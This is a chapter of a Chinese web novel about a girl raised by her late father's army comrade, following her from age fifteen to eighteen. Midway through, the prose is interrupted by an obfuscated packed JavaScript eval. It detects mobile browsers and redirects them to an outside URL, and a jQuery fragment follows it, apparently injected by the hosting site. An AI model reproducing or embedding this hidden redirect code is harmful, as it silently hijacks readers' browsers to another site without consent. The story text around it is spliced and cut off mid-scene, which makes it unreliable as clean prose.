16.第 16 章

作品:《七零娇养手册

    晏庭许比晏昊高了很多,往那儿一站,晏昊就不自觉地往后仰了仰。


    “三叔您说。”


    “你最近总找清幼?”


    晏昊脸上的笑顿了顿。


    “没、没有啊,就是碰上了说几句话……”


    “离她远点。”


    晏庭许打断他,四个字,不轻不重,落地有声。


    晏昊愣了一秒,然后笑得更开了。


    “三叔,您这说的什么话?清幼是咱们家的人,我关心关心她,不是应该的吗?”


    晏庭许看着他,没说话。


    晏昊被那眼神看得有点发毛,但还是硬着头皮继续说。


    “再说了,我才是您亲侄子,您怎么胳膊肘往外拐啊?”


    他说着,还笑了笑,好像是在开玩笑。


    可那笑没撑过两秒。


    晏庭许的眼神冷了下去。


    晏昊脸上的笑僵住。


    “亲侄子。”晏庭许重复了一遍这三个字。


    他往前走了一步。


    晏昊下意识往后退了一步。


    “晏昊,”晏庭许看着他,“你心里打的什么主意,你自己清楚。”


    晏昊张了张嘴。


    “我、我没打什么主意……”


    “她是我战友的闺女,”晏庭许没理他,继续说,“她爹临死前把人托给我,我养着,就得护着。”


    他顿了顿。


    “你少打主意。”


    晏昊的脸色变了。


    “三叔,我真没有……”


    “还有,”晏庭许打断他,“你在学校传的那些话,我当没听见。但从明天开始,你要是再让我知道你在背后嚼舌根——”


    他没说完,但那个眼神把话补全了。


    晏昊站在那里,脸上的表情变了几变。


    他想说什么,可对上晏庭许的眼神,什么都说不出来。


    过了一会儿,他扯了扯嘴角。


    “行,三叔,我听您的。”


    他说完,转身就走。


    走了两步,又停下来。


    他没回头,只是站在那儿,背对着晏庭许。


    “三叔,”他的声音从前面传来,“您对她这么好,她知道吗?”


    晏庭许没说话。


    晏昊等了两秒,没等到回答,大步走了。


    脚步声渐渐远了,消失在胡同深处。


    晏庭许站在原地,没动。


    路灯照在他身上,把他的影子拉得很长。


    他站了一会儿,从兜里掏出烟,点上。


    烟雾升起来,在昏黄的光里飘散。


    他抽了一口,忽然想起刚才那丫头问他那个问题的样子。


    她站在灶房门口,手揪着衣角,眼睛湿漉漉的,看着他。


    “您……会结婚吗?”


    那眼神,他到现在还记得。


    他吐出一口烟。


    二十五了,不是没想过成家的事。


    以前觉得无所谓,有了更好,没有也行。


    可现在……


    连晏昊都敢质问他胳膊肘往外拐。


    要是结了婚,小姑娘还不知道会委屈成什么样子。


    这家,不成也罢。


    ……


    晏庭许警告过晏昊后,他很长一段时间都没再敢招惹沈清幼。


    春去秋来,沈清幼只觉得舒心的日子过起来快得很。


    好像昨天还在过正月,一转眼,柳树就发了芽。


    再一转眼,知了就叫起来了。


    等树叶黄了、落了,第一场雪下来,一年就过去了。


    沈清幼的个子,就在这一年年里往上蹿。


    十五岁那年刚来的时候,她站在晏庭许跟前,只到他肩膀。十六岁,到他耳朵。十七岁,到他眉毛。


    李红梅有一次看着她说:“清幼,你是不是又长高了?”


    她回去量了量,真的又高了一指。


    她跑去跟晏庭许说:“三叔,我又长高了。”


    晏庭许看了她一眼,“嗯”了一声。


    就一个字。


    可她看见他嘴角弯了一下。


    ……


    日子还是那样过。


    他出任务,她上学。他回来,她做饭。


    有时候他走十天半个月,有时候一走两三个月。


    她习惯了在日历上画圈,他走的那天画一个,算着日子,等他回来。


    等他回来那天,她就多做两个菜。


    他从来不说好吃,但每次都吃光。


    她看着空了的盘子,心里就高兴。


    ……


    十六岁那年秋天,她考上了师范学校。


    全县统考,她考了第六名。班主任专门来家里报喜,说这孩子出息,以后当老师,铁饭碗。


    晏庭许那天正好在家。


    他坐在那儿,听班主任说了一堆话,最后只说了一句:“挺好,麻烦老师了。”


    班主任走了,她站在院里,有点忐忑地看着他。


    “三叔,师范学费贵不贵?要是不贵,我……”


    “不贵。”他打断她,“去。”


    她愣了一下,然后笑了。


    那天晚上,她做了四菜一汤。


    他吃了,还是没说什么。


    可她洗碗的时候,发现他把那张录取通知书压在抽屉最底下,跟那张成绩单放在一起。


    她假装没看见,但嘴角翘了半天。


    ……


    十七岁那年冬天,他出任务的次数少了。


    有时候她放学回来,能看见他在院里擦车。有时候她做饭,他会在灶房门口站一会儿,也不说话,就站着。


    她习惯了回头看他一眼,然后继续忙活。


    有一次她切菜切到了手,嘶了一声。


    他几步就跨过来,抓住她的手看。


    “怎么弄的?”


    她被他抓得有点懵,愣愣地看着他。


    他自己骨折受伤眉头都不皱一下,她就蹭破一点皮,他却低头看着她的手指,眉头皱得死紧。


    “没事,就破了一点。”


    他没说话,去拿了碘酒和纱布,给她包上。


    包完了,他也没松手。


    就那么握着她的手,站在灶房里。


    灶房很小,两个人站在里面,就显得更小了。


    她站在那儿,看着自己包着纱布的手指,还有他包的蝴蝶结,无奈笑了笑。


    ……


    腊月里,她满十八了。


    那天她记得清楚。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308842|198379||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    早上起来,她特意多做了两个菜,想着晚上等他回来一起吃。


    可中午放学回来,院里空空的。


    正房的门关着。


    她愣了一下,走过去推开门。


    屋里没人。


    桌上放着一个新书包,军绿色的,帆布的,厚厚的,摸着就结实。


    书包旁边放着一封信。


    信封上没写字,就压在那儿。


    她打开信封,里面只有一张纸。


    纸上只有一行字。


    “好好学习。回来检查。”


    她看着那行字,忽然鼻子一酸。


    他又出任务了。


    她抱着那个新书包,在屋里站了很久。


    ……


    又是一年腊月三十,除夕。


    沈清幼一个人在院里。


    太阳落山的时候,她去灶房开始包饺子。


    和面,剁馅,擀皮,包。


    她包得很快,一个人包了两个人的量。


    包完了,她把饺子摆好,盖上笼布。


    然后坐在灶房里,等三叔回家。


    天黑了。


    远处传来零星的鞭炮声。


    她坐在灶房里,听着那鞭炮声,看着灶膛里的火苗一跳一跳的。


    炉子上烧着水,等着下饺子。


    水开了,咕嘟咕嘟地响。


    她没动。


    再等等。


    说不定等会儿就回来了。


    她这么想着,又等了一会儿,忽然听见院门响。


    吱呀一声。


    她愣了一下,然后一下子站起来,往外跑。


    推开门,冷风扑面而来,她顾不上冷,跑到院里。


    院门口三叔站在那儿,身上落着雪,正在拍肩膀上的雪花。


    她愣住了。


    他听见动静,抬起头。


    月光照在他脸上,还是冷冷淡淡,只是肩上的星,又比三年前多了一颗。


    沈清幼站在那里,穿着围裙,手上还有面粉,愣愣地看着他。


    他开口。


    “饺子好了没?”


    沈清幼站在那里,看着他。


    不知道为什么,她忽然有点想哭。


    但她没哭,努力弯了弯眼睛。


    “好了。”她说,“我这就下。”


    她转身往灶房跑。


    跑到一半,又回头。


    他还站在那儿,看着她。


    “三叔,您快进屋暖和暖和!”她喊了一声,跑进灶房。


    晏庭许站在院里,看着她的背影消失在灶房门口。


    他站了一会儿,忽然笑了一下。


    那笑很淡,很快就收了。


    他抬脚往正房走。


    走到灶房门口,他停了一下。


    灶房里亮着灯,热气从门缝里飘出来。


    他看见她在里头忙活,围裙上沾着面粉,头发有点乱,但嘴角弯着,好像很高兴。


    他站在那里,看了一会儿。


    然后他想起三年前,她刚来的时候。


    瘦得跟小猫似的,站在院里,提着一只旧藤条箱,眼睛湿漉漉的。


    一转眼,都长这么大了。


    他收回目光,推门进了正房。